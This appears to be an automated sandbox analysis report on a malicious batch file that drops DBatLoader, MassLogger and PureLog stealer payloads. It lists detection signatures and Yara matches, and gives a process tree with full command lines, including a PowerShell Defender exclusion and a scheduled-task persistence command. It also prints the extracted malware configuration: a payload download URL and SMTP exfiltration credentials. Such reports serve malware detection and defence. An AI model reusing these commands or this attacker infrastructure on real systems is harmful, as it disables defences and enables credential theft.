Edit tour

Windows Analysis Report
PO#3_RKG367.bat

Overview

General Information

Sample name:	PO#3_RKG367.bat
Analysis ID:	1586924
MD5:	deaa9cb6ee189b95d1ad718df32dac56
SHA1:	ba94e1e97609cfa1bd102fe1087fc714875c6c25
SHA256:	8f721d0dc987c60cb16a14ad166eab606b1b9401d6563241eb8ed359c24ad201
Tags:	batuser-lowmal3
Infos:

Detection

DBatLoader, MassLogger RAT, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected DBatLoader

Yara detected MassLogger RAT

Yara detected PureLog Stealer

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates many large memory junks

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Command shell drops VBS files

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Drops PE files with a suspicious file extension

Drops large PE files

Found large BAT file

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Potential malicious VBS script found (has network functionality)

Sample is not signed and drops a device driver

Sample uses process hollowing technique

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6192 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PO#3_RKG367.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

findstr.exe (PID: 3416 cmdline: findstr /e "'v" "C:\Users\user\Desktop\PO#3_RKG367.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cscript.exe (PID: 800 cmdline: cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs MD5: 24590BF74BBBBFD7D7AC070F4E3C44FD)

x.exe (PID: 5776 cmdline: C:\Users\user\AppData\Local\Temp\x.exe MD5: E337ECD5680D121D6DD649956DC716CA)

cmd.exe (PID: 6684 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rpkhzpuO.pif (PID: 1012 cmdline: C:\Users\Public\Libraries\rpkhzpuO.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

Trading_AIBot.exe (PID: 4064 cmdline: "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe" MD5: E91A1DB64F5262A633465A0AAFF7A0B0)

powershell.exe (PID: 528 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 5236 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 6064 cmdline: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 13:14 /du 23:59 /sc daily /ri 1 /f MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

apihost.exe (PID: 6804 cmdline: "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" MD5: 10751439BD30D4B3066935F2DFFDC3C7)

Microsofts.exe (PID: 1664 cmdline: "C:\Users\user\AppData\Local\Temp\Microsofts.exe" MD5: F6B8018A27BCDBAA35778849B586D31B)

dllhost.exe (PID: 1012 cmdline: C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

Oupzhkpr.PIF (PID: 880 cmdline: "C:\Users\Public\Libraries\Oupzhkpr.PIF" MD5: E337ECD5680D121D6DD649956DC716CA)

cmd.exe (PID: 6896 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rpkhzpuO.pif (PID: 5824 cmdline: C:\Users\Public\Libraries\rpkhzpuO.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

Oupzhkpr.PIF (PID: 5160 cmdline: "C:\Users\Public\Libraries\Oupzhkpr.PIF" MD5: E337ECD5680D121D6DD649956DC716CA)

cmd.exe (PID: 4816 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rpkhzpuO.pif (PID: 5280 cmdline: C:\Users\Public\Libraries\rpkhzpuO.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://lwaziacademy.com/wps/200_Oupzhkprnvw"]}

Threatname: MassLogger

{"EXfil Mode": "SMTP", "From": "server1@massmaesure.com", "Password": "london@1759", "Server": "lax029.hawkhost.com", "To": "server2@massmaesure.com", "Port": 587}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\Microsofts.exe	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
C:\Users\user\AppData\Local\Temp\Microsofts.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\Microsofts.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
C:\Users\user\AppData\Local\Temp\Microsofts.exe	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x101cd:$a1: get_encryptedPassword 0x10509:$a2: get_encryptedUsername 0xff5a:$a3: get_timePasswordChanged 0x1007b:$a4: get_passwordField 0x101e3:$a5: set_encryptedPassword 0x11bb3:$a7: get_logins 0x11864:$a8: GetOutlookPasswords 0x11642:$a9: StartKeylogger 0x11b03:$a10: KeyLoggerEventArgs 0x1169f:$a11: KeyLoggerEventArgsEventHandler
C:\Users\user\AppData\Local\Temp\Microsofts.exe	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.2536406675.000000007FAA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000001D.00000002.2840097800.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000018.00000002.2745277954.0000000034B30000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001D.00000003.2772871636.00000000234E1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000A.00000003.2448553311.000000002D0DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001D.00000002.2871352037.0000000025380000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000002.4634725765.000000000269F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000001D.00000001.2760141830.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xffcd:$a1: get_encryptedPassword 0x10309:$a2: get_encryptedUsername 0xfd5a:$a3: get_timePasswordChanged 0xfe7b:$a4: get_passwordField 0xffe3:$a5: set_encryptedPassword 0x119b3:$a7: get_logins 0x11664:$a8: GetOutlookPasswords 0x11442:$a9: StartKeylogger 0x11903:$a10: KeyLoggerEventArgs 0x1149f:$a11: KeyLoggerEventArgsEventHandler
0000001D.00000002.2881899810.0000000026485000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000002.2464206701.0000000002266000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000018.00000002.2741756362.00000000343B0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000A.00000001.2446233147.00000000013E0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000D.00000002.4634725765.0000000002794000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.2718853988.0000000031B53000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001D.00000002.2869962358.00000000250F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000018.00000003.2609245491.000000002FFBA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001D.00000002.2869415210.0000000024E93000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000018.00000002.2740855997.0000000032F75000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: Microsofts.exe PID: 1664	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: Microsofts.exe PID: 1664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Microsofts.exe PID: 1664	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Microsofts.exe PID: 1664	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3aa17:$a1: get_encryptedPassword 0x3ad44:$a2: get_encryptedUsername 0x3a7b8:$a3: get_timePasswordChanged 0x3a8d9:$a4: get_passwordField 0x3aa2d:$a5: set_encryptedPassword 0x3c39f:$a7: get_logins 0x3c050:$a8: GetOutlookPasswords 0x3be2e:$a9: StartKeylogger 0x3c2ef:$a10: KeyLoggerEventArgs 0x3be8b:$a11: KeyLoggerEventArgsEventHandler
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.1.rpkhzpuO.pif.400000.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
24.2.rpkhzpuO.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
24.2.rpkhzpuO.pif.31b93f56.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.343b0000.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
29.2.rpkhzpuO.pif.250f0000.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.x.exe.2c30000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
24.3.rpkhzpuO.pif.2ffbae98.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.343b0f08.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.1.rpkhzpuO.pif.400000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
29.2.rpkhzpuO.pif.26485570.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.34b30000.11.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.31b94e5e.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.31b94e5e.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.1.rpkhzpuO.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
24.2.rpkhzpuO.pif.32f76478.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.24ed3f56.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.24ed4e5e.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.32fb3d90.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.32f76478.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.25380000.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.24ed3f56.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.32fb3d90.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.31b93f56.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.3.rpkhzpuO.pif.2d0de3e8.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.1.rpkhzpuO.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
29.3.rpkhzpuO.pif.234e1460.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.rpkhzpuO.pif.343b0f08.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.rpkhzpuO.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
29.3.rpkhzpuO.pif.234e1460.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.x.exe.22665a8.0.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
29.2.rpkhzpuO.pif.26486478.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
